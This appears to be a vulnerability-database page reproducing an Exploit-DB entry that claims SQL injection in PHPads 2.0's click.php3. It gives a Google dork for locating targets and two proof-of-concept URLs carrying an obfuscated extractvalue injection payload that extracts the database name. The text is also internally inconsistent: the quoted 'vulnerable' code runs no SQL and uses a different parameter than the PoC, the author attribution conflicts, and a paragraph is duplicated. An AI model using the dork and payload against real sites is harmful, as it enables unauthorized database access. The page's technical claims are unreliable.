Sql Injection on PHPads Version 2.0 based on Pixelledads 1.0

vendor:

PHPads

by:

Felipe Andrian Peixoto

CVSS

HIGH

SQL Injection

CWE

Product Name: PHPads

Affected Version From: 2.0

Affected Version To: 2.0

Patch Exists: Yes

Related CWE: N/A

CPE: a:blondish.net:phpads:2.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 7 and Gnu/Linux

2019

Sql Injection on PHPads Version 2.0 based on Pixelledads 1.0

A SQL injection vulnerability exists in PHPads Version 2.0 based on Pixelledads 1.0. The vulnerable code is located in the click.php3 file. An attacker can send a specially crafted request to the vulnerable file and execute arbitrary SQL commands in application's database. The vulnerable code is located in the click.php3 file. An attacker can send a specially crafted request to the vulnerable file and execute arbitrary SQL commands in application's database.

Mitigation:

The vendor has released a patch to address this vulnerability. Users are advised to upgrade to the latest version of the software.

Source

Exploit-DB raw data:

[+] Sql Injection on PHPads Version 2.0 based on Pixelledads 1.0 by Nile Flores

[+] Date: 05/05/2019

[+] Risk: High

[+] CWE Number : CWE-89

[+] Author: Felipe Andrian Peixoto

[+] Vendor Homepage: https://blondish.net/

[+] Software Demo : https://github.com/blondishnet/PHPads/blob/master/readme.txt

[+] Contact: felipe_andrian@hotmail.com

[+] Tested on: Windows 7 and Gnu/Linux

[+] Dork: inurl:"click.php3?bannerID="" // use your brain ;)

[+] Exploit : 

        http://host/patch//click.php3?bannerID= [SQL Injection]

[+] Vulnerable File :

	    <?php
		$bannerAdsPath = './ads.dat';
		require './ads.inc.php';
		///////////////////////////////////////
		// Don't Edit Anything Below This Line!
		///////////////////////////////////////
		for ($i = 0; $i < count($ads); $i++) {
			if(ereg('^' .$_GET['id']. '\|\|', $ads[$i])) {
				$data = explode('||', $ads[$i]);
			if ($_SERVER['REMOTE_ADDR'] != $bannerAds['blockip']) {
					$data[ PHPADS_ADELEMENT_CLICKTHRUS ]++;
			}
				$ads[$i] = join('||', $data);
				break;
			}
		}
		if (!$data[PHPADS_ADELEMENT_LINK_URI]) {
			die();
		}
		writeads();
		Header("Location: ". $data[PHPADS_ADELEMENT_LINK_URI]);
		exit;
		?>

[+] PoC : 
 
   http://server/phpads/click.php3?bannerID=-1/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x73337830753a,(/*!50000select*/%20database()),0x3a7333783075))--+-
   http:/server/phpAds/click.php3?bannerID=-1/*!50000and*/+/*!50000extractvalue*/(0x0a,/*!50000concat*/(0x0a,0x73337830753a,(/*!50000select*/%20database()),0x3a7333783075))--+-
   
[+] EOF